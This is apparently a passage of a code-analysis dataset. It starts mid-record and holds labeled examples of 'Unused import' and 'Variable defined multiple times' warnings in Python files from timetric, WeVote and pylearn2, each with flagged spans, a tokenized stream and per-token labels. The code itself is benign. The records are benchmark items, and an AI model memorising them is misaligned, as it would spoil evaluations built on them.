"\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "post_", "(_", "self_", ",_", "request_", ",_", "format_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "request_", "._", "DATA_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exist", "ing", "\\u", "obj_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "obj_", "in_", "VOLT", "Ten", "ant_", "._", "get", "\\u", "tenan", "t", "\\u", "objects_", "(_", ")_", "._", "all_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "obj_", "._", "c\\u", "tag_", "==_", "data_", "._", "get_", "(_", "\"", "c\\u", "tag", "\"_", ",_", "None_", ")_", ")_", "and_", "(_", "obj_", "._", "s", "\\u", "tag_", "==_", "data_", "._", "get_", "(_", "\"", "s", "\\u", "tag", "\"_", ",_", "None_", ")_", ")_", "and_", "(_", "obj_", "._", "service", "\\u", "specific", "\\u", "id_", "==_", "data_", "._", "get_", "(_", "\"", "service", "\\u", "specific", "\\u", "id", "\"_", ",_", "None_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exist", "ing", "\\u", "obj_", "=_", "obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "exist", "ing", "\\u", "obj_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "serializer_", "=_", "VOLT", "Ten", "ant", "Id", "Serializer_", "(_", "exist", "ing", "\\u", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "self_", "._", "get", "\\u", "success", "\\u", "headers_", "(_", "serializer_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Response_", "(_", "serializer_", "._", "data_", ",_", "status_", "=_", "status_", "._", "HTTP", "\\u", "200", "\\u", "OK_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "super_", "(_", "VOLT", "Ten", "ant", "List_", ",_", "self_", ")_", "._", "post_", "(_", "request_", ",_", "format_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "VOLT", "Ten", "ant", "Detail_", "(_", "XO", "SR", "etri", "eve", "Update", "Destr", "oy", "API", "View_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "serialize", "r", "\\u", "class_", "=_", "VOLT", "Ten", "ant", "Id", "Serializer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "queryset_", "=_", "VOLT", "Ten", "ant_", "._", "get", "\\u", "tenan", "t", "\\u", "objects_", "(_", ")_", "._", "select", "\\u", "related_", "(_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "method", "\\u", "kind_", "=_", "\"", "deta", "il", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method", "\\u", "name_", "=_", "\"", "volt", "tenan", "t", "\"_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
jacobian-archive/timetric/setup.py
[ { "content": "import os\ntry:\n from setuptools import setup, find_packages\nexcept ImportError:\n from ez_setup import use_setuptools\n use_setuptools()\n from setuptools import setup, find_packages\n\nsetup(\n name = \"timetric\",\n version = \"1.3\",\n description = \"Client library for Timetric (http://timetric.com/)\",\n long_description = open(os.path.join(os.path.dirname(__file__), 'README')).read(),\n author = 'Jacob Kaplan-Moss',\n author_email = '[email protected]',\n url = 'http://github.com/jacobian/timetric',\n packages = ['timetric'],\n install_requires = [\n 'httplib2',\n 'python-dateutil',\n 'simplejson',\n ],\n classifiers = [\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Topic :: Internet',\n ]\n)", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from setuptools import setup, find_packages", "start_line": 2, "start_column": 4, "end_line": 2, "end_column": 47 }, { "span": "from setuptools import setup, find_packages", "start_line": 6, "start_column": 4, "end_line": 6, "end_column": 47 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "setuptools_", "import_", "setup_", ",_", "find", "\\u", "packages_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "ez", "\\u", "setup_", "import_", "use", "\\u", "setuptools_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "use", "\\u", "setuptools_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "setuptools_", "import_", "setup_", ",_", "find", "\\u", "packages_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "setup_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "\"", "time", "tric", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "\"", "1.3", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "\"", "Client", " ", "librar", "y", " ", "for", " ", "Time", "tric", " ", "(", "http", "://", "time", "tric", ".", "com", "/)", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "long", "\\u", "description_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", ",_", "'", "READ", "ME", "'_", ")_", ")_", "._", "read_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "author_", "=_", "'", "Jacob", " ", "Kap", "lan", "-", "Mos", "s", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "author", "\\u", "email_", "=_", "'", "jac", "ob", "@", "ja", "obi", "an", ".", "org", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "http", "://", "git", "hub", ".", "com", "/", "jacobian", "/", "time", "tric", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "packages_", "=_", "[_", "'", "time", "tric", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "install", "\\u", "requires_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "http", "lib", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "python", "-", "date", "util", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "simple", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "classifiers_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Dev", "elo", "pme", "nt", " ", "Status", " ", "::", " ", "4", " ", "-", " ", "Beta", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Inten", "ded", " ", "Audi", "ence", " ", "::", " ", "Dev", "elope", "rs", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "License", " ", "::", " ", "OSI", " ", "Appro", "ved", " ", "::", " ", "BS", "D", " ", "License", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Opera", "ting", " ", "System", " ", "::", " ", "OS", " ", "Inde", "pend", "ent", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Programm", "ing", " ", "Lang", "ua", "ge", " ", "::", " ", "Pyth", "on", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Topic", " ", "::", " ", "Intern", "et", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
wevoteeducation/WeVoteBase/politician/forms.py
[ { "content": "# politician/forms.py\n# Brought to you by We Vote. Be good.\n# -*- coding: UTF-8 -*-\n# See Django Cookbook, chapter 3, p. 57\n\nfrom django import forms\nfrom django.utils.translation import ugettext_lazy as _, ugettext\nfrom django.contrib.auth.models import User\n\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms import layout, bootstrap\n\nfrom politician.models import Politician, PoliticianTagLink\nfrom tag.models import Tag\n\n\n\n\n# class TagNewProcessForm(forms.Form):\n# politician = forms.ModelChoiceField\n# new_tag = forms.CharField(\n# label=_(\"New Tag Label\"),\n# queryset=Tag.object.all(),\n# required=True,\n# )\n#\n# def __init__(self, request, *args, **kwargs):\n# super(TagNewProcessForm, self).__init__(*args, **kwargs)\n# self.request = request\n# self.fields['new_tag'].queryset = self.fields['new_tag'].queryset.exclude()", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TagNewForm(forms.ModelForm):\n class Meta:\n model = Tag\n fields = ['hashtag_text']\n", "metadata": "root.TagNewForm", "header": "['module', '___EOS___']", "index": 16 }, { "content": " def __init__(self, *args, **kwargs):\n super(TagNewForm, self).__init__(*args, **kwargs)\n\n self.helper = FormHelper()\n self.helper.form_action = \"\"\n self.helper.form_method = \"POST\"\n\n self.helper.layout = layout.Layout(\n # layout.Fieldset(\n # _(\"Main data\"),\n # layout.Field(\"hashtag_text\", css_class=\"input-block-level\"),\n # ),\n layout.Field(\"hashtag_text\", css_class=\"input-block-level\"),\n\n bootstrap.FormActions(\n layout.Submit('submit', _('Save')),\n )\n )", "metadata": "root.TagNewForm.__init__", "header": "['class', 'TagNewForm', '(', 'forms', '.', 'ModelForm', ')', ':', '___EOS___']", "index": 21 } ]
[ { "span": "from django.utils.translation import ugettext_lazy as _, ugettext", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 65 }, { "span": "from django.contrib.auth.models import User", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 43 }, { "span": "from politician.models import Politician, PoliticianTagLink", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 59 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "politic", "ian", "/", "forms", ".", "py_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Bro", "ugh", "t", " ", "to", " ", "you", " ", "by", " ", "We", " ", "Vote", ".", " ", "Be", " ", "good", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "UT", "F", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "Dj", "ang", "o", " ", "Coo", "kb", "ook", ",", " ", "chap", "ter", " ", "3", ",", " ", "p", ".", " ", "57_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "import_", "forms_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "translation_", "import_", "uge", "ttext", "\\u", "lazy_", "as_", "\\u_", ",_", "ugettext_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "._", "models_", "import_", "User_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "crisp", "y", "\\u", "forms_", "._", "helper_", "import_", "Form", "Helper_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "crisp", "y", "\\u", "forms_", "import_", "layout_", ",_", "bootstrap_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "politic", "ian_", "._", "models_", "import_", "Poli", "tici", "an_", ",_", "Poli", "tici", "an", "Ta", "g", "Link_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "tag_", "._", "models_", "import_", "Tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "class", " ", "Ta", "g", "New", "Process", "Form", "(", "forms", ".", "Form", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "politic", "ian", " ", "=", " ", "forms", ".", "Model", "Choi", "ce", "Field_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "new", "\\u", "tag", " ", "=", " ", "forms", ".", "Char", "Field", "(_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "label", "=", "\\u(", "\"", "New", " ", "Ta", "g", " ", "Label", "\")", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "querys", "et", "=", "Ta", "g", ".", "object", ".", "all", "()", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "require", "d", "=", "Tru", "e", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "\\u\\u", "init", "\\u\\u", "(", "self", ",", " ", "request", ",", " ", "*", "args", ",", " ", "**", "kwarg", "s", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "super", "(", "Ta", "g", "New", "Process", "Form", ",", " ", "self", ").", "\\u\\u", "init", "\\u\\u", "(*", "args", ",", " ", "**", "kwarg", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "request", " ", "=", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "fields", "['", "new", "\\u", "tag", "']", ".", "querys", "et", " ", "=", " ", "self", ".", "fields", "['", "new", "\\u", "tag", "']", ".", "querys", "et", ".", "exclu", "de", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Ta", "g", "New", "Form_", "(_", "forms_", "._", "Model", "Form_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "Tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "=_", "[_", "'", "hashtag", "\\u", "text", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Ta", "g", "New", "Form_", "(_", "forms_", "._", "Model", "Form_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Ta", "g", "New", "Form_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "helper_", "=_", "Form", "Helper_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "helper_", "._", "form", "\\u", "action_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "helper_", "._", "form", "\\u", "method_", "=_", "\"", "POST", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "helper_", "._", "layout_", "=_", "layout_", "._", "Layout_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "layout", ".", "Field", "set", "(_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\\u(", "\"", "Main", " ", "data", "\")", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "layout", ".", "Field", "(\"", "hashtag", "\\u", "text", "\",", " ", "css", "\\u", "class", "=\"", "input", "-", "block", "-", "level", "\")", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "layout_", "._", "Field_", "(_", "\"", "hashtag", "\\u", "text", "\"_", ",_", "css", "\\u", "class_", "=_", "\"", "input", "-", "block", "-", "level", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "bootstrap_", "._", "Form", "Actions_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "layout_", "._", "Submit", "_", "(_", "'", "submit", "'_", ",_", "\\u_", "(_", "'", "Save", "'_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
lisa-lab/pylearn2/pylearn2/monitor.py
[ { "content": " def redo_theano(self):\n \"\"\"\n Recompiles Theano functions used by this monitor.\n\n This is called any time we need to evaluate the channels and\n the channel definitions have changed since last we called it,\n or if the theano functions are unavailable for any other reason\n (first time they are needed after construction or\n deserialization, etc.)\n\n All channels are compiled as part of the same theano function\n so that the theano optimizations can eliminate subexpressions\n that are shared between multiple channels.\n \"\"\"\n self._dirty = False\n\n # Recompute the data specs, since the channels may have changed.\n self._build_data_specs()\n\n init_names = dir(self)\n self.prereqs = OrderedDict()\n for channel in self.channels.values():\n if channel.prereqs is not None:\n dataset = channel.dataset\n if dataset not in self.prereqs:\n self.prereqs[dataset] = []\n prereqs = self.prereqs[dataset]\n for prereq in channel.prereqs:\n if prereq not in prereqs:\n prereqs.append(prereq)\n\n updates = OrderedDict()\n for channel in self.channels.values():\n updates[channel.val_shared] = np.cast[config.floatX](0.0)\n with log_timing(log, \"compiling begin_record_entry\"):\n self.begin_record_entry = function(\n inputs=[],\n updates=updates,\n mode=self.theano_function_mode,\n name='Monitor.begin_record_entry'\n )\n updates = OrderedDict()\n givens = OrderedDict()\n # Get the appropriate kind of theano variable to represent the data\n # the model acts on\n batch_names = ['monitoring_%s' % s for s in self._flat_data_specs[1]]\n theano_args = self._flat_data_specs[0].make_theano_batch(batch_names)\n\n # Get a symbolic expression of the batch size\n # We do it here, rather than for each channel, because channels with an\n # empty data_specs do not use data, and are unable to extract the batch\n # size. The case where the whole data specs is empty is not supported.\n batch_size = self._flat_data_specs[0].batch_size(theano_args)\n\n # Also get a nested representation, for joint iteration\n # with each of channel.graph_input\n nested_theano_args = self._data_specs_mapping.nest(theano_args)\n if not isinstance(nested_theano_args, tuple):\n nested_theano_args = (nested_theano_args,)\n assert len(nested_theano_args) == (len(self.channels) + 1)\n\n log.info('Monitored channels: ')\n for key in sorted(self.channels.keys()):\n mode = self.theano_function_mode\n if mode is not None and hasattr(mode, 'record'):\n mode.record.handle_line('compiling monitor including ' +\n 'channel ' + key + '\\n')\n log.info('\\t%s' % key)\n it = []\n for d, i, n, b in safe_izip(self._datasets, self._iteration_mode,\n self._num_batches, self._batch_size):\n it.append(d.iterator(mode=i, num_batches=n, batch_size=b,\n data_specs=self._flat_data_specs,\n return_tuple=True))\n self.num_examples = [i.num_examples for i in it]\n givens = [OrderedDict() for d in self._datasets]\n updates = [OrderedDict() for d in self._datasets]\n for i, channel in enumerate(self.channels.values()):\n index = self._datasets.index(channel.dataset)\n d = self._datasets[index]\n g = givens[index]\n cur_num_examples = self.num_examples[index]\n u = updates[index]\n\n # Flatten channel.graph_input and the appropriate part of\n # nested_theano_args, to iterate jointly over them.\n c_mapping = DataSpecsMapping(channel.data_specs)\n channel_inputs = c_mapping.flatten(channel.graph_input,\n return_tuple=True)\n inputs = c_mapping.flatten(nested_theano_args[i + 1],\n return_tuple=True)\n\n for (channel_X, X) in safe_izip(channel_inputs, inputs):\n assert channel_X not in g or g[channel_X] is X\n assert channel_X.type == X.type, (channel_X.type, X.type)\n g[channel_X] = X\n\n if batch_size == 0:\n # No channel does need any data, so there is not need to\n # average results, and we will call the accum functions only\n # once.\n # TODO: better handling of channels not needing data when\n # some other channels need data.\n assert len(self._flat_data_specs[1]) == 0\n val = channel.val\n else:\n if n == 0:\n raise ValueError(\"Iterating over 0 examples results in \" +\n \"divide by 0\")\n val = T.cast(channel.val * T.cast(batch_size, 'float64')\n / cur_num_examples, config.floatX)\n u[channel.val_shared] = channel.val_shared + val\n\n with log_timing(log, \"Compiling accum\"):\n # Check type of update expressions\n for up in updates:\n for key in up:\n if key.dtype != up[key].dtype:\n raise TypeError('Monitoring channel shared variable ' +\n key.name + ' has dtype ' + key.dtype +\n ' but is driven by an expression ' +\n 'with type ' + up[key].dtype)\n\n self.accum = []\n for idx, packed in enumerate(safe_izip(givens, updates)):\n g, u = packed\n mode = self.theano_function_mode\n if mode is not None and hasattr(mode, 'record'):\n for elem in g:\n mode.record.handle_line('g key ' +\n var_descriptor(elem) + '\\n')\n mode.record.handle_line('g val ' +\n var_descriptor(g[elem]) + '\\n')\n for elem in u:\n mode.record.handle_line('u key ' +\n var_descriptor(elem) + '\\n')\n mode.record.handle_line('u val ' +\n var_descriptor(u[elem]) + '\\n')\n function_name = 'Monitor.accum[%d]' % idx\n if mode is not None and hasattr(mode, 'record'):\n mode.record.handle_line('compiling supervised accum\\n')\n # Some channels may not depend on the data, ie, they might just\n # monitor the model parameters, or some shared variable updated\n # by the training algorithm, so we need to ignore the unused\n # input error\n self.accum.append(function(theano_args,\n givens=g,\n updates=u,\n mode=self.theano_function_mode,\n name=function_name))\n for a in self.accum:\n if mode is not None and hasattr(mode, 'record'):\n for elem in a.maker.fgraph.outputs:\n mode.record.handle_line('accum output ' +\n var_descriptor(elem) + '\\n')\n log.info(\"graph size: %d\" % len(a.maker.fgraph.toposort()))\n final_names = dir(self)\n self.register_names_to_del([name for name in final_names\n if name not in init_names])", "metadata": "root.Monitor.redo_theano", "header": "['class', 'Monitor', '(', 'object', ')', ':', '___EOS___']", "index": 366 } ]
[ { "span": "updates ", "start_line": 407, "start_column": 8, "end_line": 407, "end_column": 15 }, { "span": "givens ", "start_line": 408, "start_column": 8, "end_line": 408, "end_column": 14 } ]
[ { "span": "givens ", "start_line": 441, "start_column": 8, "end_line": 441, "end_column": 14 }, { "span": "updates ", "start_line": 442, "start_column": 8, "end_line": 442, "end_column": 15 } ]
1
true
